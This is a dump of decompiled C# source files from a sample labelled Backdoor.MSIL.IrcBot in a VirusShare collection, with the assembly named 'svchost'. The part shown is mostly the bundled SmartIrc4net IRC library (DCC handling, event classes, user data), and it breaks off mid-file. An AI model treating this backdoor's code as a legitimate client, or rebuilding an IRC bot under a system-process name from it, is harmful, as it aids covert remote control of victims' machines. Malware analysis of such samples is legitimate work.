foreach (DccConnection dccConnection in this._DccConnections)
|
||||||
|
{
|
||||||
|
if (dccConnection is DccSend && ((DccSend) dccConnection).TryAccept(e))
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC ACCEPT");
|
||||||
|
break;
|
||||||
|
case "XMIT":
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC XMIT not implemented");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC " + e.CtcpParameter + " unavailable");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RemoveInvalidDccConnections()
|
||||||
|
{
|
||||||
|
List<DccConnection> dccConnectionList = new List<DccConnection>();
|
||||||
|
foreach (DccConnection dccConnection in this._DccConnections)
|
||||||
|
{
|
||||||
|
if (!dccConnection.Valid && !dccConnection.Connected)
|
||||||
|
dccConnectionList.Add(dccConnection);
|
||||||
|
}
|
||||||
|
foreach (DccConnection dccConnection in dccConnectionList)
|
||||||
|
this._DccConnections.Remove(dccConnection);
|
||||||
|
}
|
||||||
|
|
||||||
|
private string FilterMarker(string msg)
|
||||||
|
{
|
||||||
|
string str = "";
|
||||||
|
foreach (char ch in msg)
|
||||||
|
{
|
||||||
|
if (ch != '\u0001')
|
||||||
|
str += (string) (object) ch;
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,76 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcMessageData
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcMessageData
|
||||||
|
{
|
||||||
|
private IrcClient _Irc;
|
||||||
|
private string _From;
|
||||||
|
private string _Nick;
|
||||||
|
private string _Ident;
|
||||||
|
private string _Host;
|
||||||
|
private string _Channel;
|
||||||
|
private string _Message;
|
||||||
|
private string[] _MessageArray;
|
||||||
|
private string _RawMessage;
|
||||||
|
private string[] _RawMessageArray;
|
||||||
|
private ReceiveType _Type;
|
||||||
|
private ReplyCode _ReplyCode;
|
||||||
|
|
||||||
|
public IrcClient Irc => this._Irc;
|
||||||
|
|
||||||
|
public string From => this._From;
|
||||||
|
|
||||||
|
public string Nick => this._Nick;
|
||||||
|
|
||||||
|
public string Ident => this._Ident;
|
||||||
|
|
||||||
|
public string Host => this._Host;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Message => this._Message;
|
||||||
|
|
||||||
|
public string[] MessageArray => this._MessageArray;
|
||||||
|
|
||||||
|
public string RawMessage => this._RawMessage;
|
||||||
|
|
||||||
|
public string[] RawMessageArray => this._RawMessageArray;
|
||||||
|
|
||||||
|
public ReceiveType Type => this._Type;
|
||||||
|
|
||||||
|
public ReplyCode ReplyCode => this._ReplyCode;
|
||||||
|
|
||||||
|
public IrcMessageData(
|
||||||
|
IrcClient ircclient,
|
||||||
|
string from,
|
||||||
|
string nick,
|
||||||
|
string ident,
|
||||||
|
string host,
|
||||||
|
string channel,
|
||||||
|
string message,
|
||||||
|
string rawmessage,
|
||||||
|
ReceiveType type,
|
||||||
|
ReplyCode replycode)
|
||||||
|
{
|
||||||
|
this._Irc = ircclient;
|
||||||
|
this._RawMessage = rawmessage;
|
||||||
|
this._RawMessageArray = rawmessage.Split(' ');
|
||||||
|
this._Type = type;
|
||||||
|
this._ReplyCode = replycode;
|
||||||
|
this._From = from;
|
||||||
|
this._Nick = nick;
|
||||||
|
this._Ident = ident;
|
||||||
|
this._Host = host;
|
||||||
|
this._Channel = channel;
|
||||||
|
if (message == null)
|
||||||
|
return;
|
||||||
|
this._Message = message;
|
||||||
|
this._MessageArray = message.Split(' ');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,101 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcUser
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System.Collections.Specialized;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcUser
|
||||||
|
{
|
||||||
|
private IrcClient _IrcClient;
|
||||||
|
private string _Nick;
|
||||||
|
private string _Ident;
|
||||||
|
private string _Host;
|
||||||
|
private string _Realname;
|
||||||
|
private bool _IsIrcOp;
|
||||||
|
private bool _IsRegistered;
|
||||||
|
private bool _IsAway;
|
||||||
|
private string _Server;
|
||||||
|
private int _HopCount = -1;
|
||||||
|
|
||||||
|
internal IrcUser(string nickname, IrcClient ircclient)
|
||||||
|
{
|
||||||
|
this._IrcClient = ircclient;
|
||||||
|
this._Nick = nickname;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Nick
|
||||||
|
{
|
||||||
|
get => this._Nick;
|
||||||
|
set => this._Nick = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Ident
|
||||||
|
{
|
||||||
|
get => this._Ident;
|
||||||
|
set => this._Ident = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Host
|
||||||
|
{
|
||||||
|
get => this._Host;
|
||||||
|
set => this._Host = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Realname
|
||||||
|
{
|
||||||
|
get => this._Realname;
|
||||||
|
set => this._Realname = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsIrcOp
|
||||||
|
{
|
||||||
|
get => this._IsIrcOp;
|
||||||
|
set => this._IsIrcOp = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsRegistered
|
||||||
|
{
|
||||||
|
get => this._IsRegistered;
|
||||||
|
internal set => this._IsRegistered = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsAway
|
||||||
|
{
|
||||||
|
get => this._IsAway;
|
||||||
|
set => this._IsAway = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Server
|
||||||
|
{
|
||||||
|
get => this._Server;
|
||||||
|
set => this._Server = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int HopCount
|
||||||
|
{
|
||||||
|
get => this._HopCount;
|
||||||
|
set => this._HopCount = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string[] JoinedChannels
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
string[] channels = this._IrcClient.GetChannels();
|
||||||
|
StringCollection stringCollection = new StringCollection();
|
||||||
|
foreach (string channelname in channels)
|
||||||
|
{
|
||||||
|
if (this._IrcClient.GetChannel(channelname).UnsafeUsers.ContainsKey((object) this._Nick))
|
||||||
|
stringCollection.Add(channelname);
|
||||||
|
}
|
||||||
|
string[] array = new string[stringCollection.Count];
|
||||||
|
stringCollection.CopyTo(array, 0);
|
||||||
|
return array;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.JoinEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class JoinEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
internal JoinEventArgs(IrcMessageData data, string channel, string who)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.JoinEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void JoinEventHandler(object sender, JoinEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,38 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.KickEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class KickEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
private string _KickReason;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
public string KickReason => this._KickReason;
|
||||||
|
|
||||||
|
internal KickEventArgs(
|
||||||
|
IrcMessageData data,
|
||||||
|
string channel,
|
||||||
|
string who,
|
||||||
|
string whom,
|
||||||
|
string kickreason)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
this._KickReason = kickreason;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.KickEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void KickEventHandler(object sender, KickEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ListEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ListEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private ChannelInfo f_ListInfo;
|
||||||
|
|
||||||
|
public ChannelInfo ListInfo => this.f_ListInfo;
|
||||||
|
|
||||||
|
internal ListEventArgs(IrcMessageData data, ChannelInfo listInfo)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this.f_ListInfo = listInfo;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ListEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void ListEventHandler(object sender, ListEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.MotdEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class MotdEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _MotdMessage;
|
||||||
|
|
||||||
|
public string MotdMessage => this._MotdMessage;
|
||||||
|
|
||||||
|
internal MotdEventArgs(IrcMessageData data, string motdmsg)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._MotdMessage = motdmsg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.MotdEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void MotdEventHandler(object sender, MotdEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NamesEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class NamesEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string[] _UserList;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string[] UserList => this._UserList;
|
||||||
|
|
||||||
|
internal NamesEventArgs(IrcMessageData data, string channel, string[] userlist)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._UserList = userlist;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NamesEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void NamesEventHandler(object sender, NamesEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NickChangeEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class NickChangeEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _OldNickname;
|
||||||
|
private string _NewNickname;
|
||||||
|
|
||||||
|
public string OldNickname => this._OldNickname;
|
||||||
|
|
||||||
|
public string NewNickname => this._NewNickname;
|
||||||
|
|
||||||
|
internal NickChangeEventArgs(IrcMessageData data, string oldnick, string newnick)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._OldNickname = oldnick;
|
||||||
|
this._NewNickname = newnick;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NickChangeEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void NickChangeEventHandler(object sender, NickChangeEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,24 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NonRfcChannel
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System.Collections;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class NonRfcChannel : Channel
|
||||||
|
{
|
||||||
|
private Hashtable _Halfops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
|
||||||
|
|
||||||
|
internal NonRfcChannel(string name)
|
||||||
|
: base(name)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public Hashtable Halfops => (Hashtable) this._Halfops.Clone();
|
||||||
|
|
||||||
|
internal Hashtable UnsafeHalfops => this._Halfops;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,26 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NonRfcChannelUser
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class NonRfcChannelUser : ChannelUser
|
||||||
|
{
|
||||||
|
private bool _IsHalfop;
|
||||||
|
private bool _IsOwner;
|
||||||
|
private bool _IsAdmin;
|
||||||
|
|
||||||
|
internal NonRfcChannelUser(string channel, IrcUser ircuser)
|
||||||
|
: base(channel, ircuser)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsHalfop
|
||||||
|
{
|
||||||
|
get => this._IsHalfop;
|
||||||
|
set => this._IsHalfop = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,34 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.NotConnectedException
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.Serialization;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class NotConnectedException : ConnectionException
|
||||||
|
{
|
||||||
|
public NotConnectedException()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public NotConnectedException(string message)
|
||||||
|
: base(message)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public NotConnectedException(string message, Exception e)
|
||||||
|
: base(message, e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected NotConnectedException(SerializationInfo info, StreamingContext context)
|
||||||
|
: base(info, context)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.OpEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class OpEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
internal OpEventArgs(IrcMessageData data, string channel, string who, string whom)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.OpEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void OpEventHandler(object sender, OpEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PartEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class PartEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _PartMessage;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string PartMessage => this._PartMessage;
|
||||||
|
|
||||||
|
internal PartEventArgs(IrcMessageData data, string channel, string who, string partmessage)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._PartMessage = partmessage;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PartEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void PartEventHandler(object sender, PartEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PingEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class PingEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _PingData;
|
||||||
|
|
||||||
|
public string PingData => this._PingData;
|
||||||
|
|
||||||
|
internal PingEventArgs(IrcMessageData data, string pingdata)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._PingData = pingdata;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PingEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void PingEventHandler(object sender, PingEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,23 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PongEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class PongEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private TimeSpan _Lag;
|
||||||
|
|
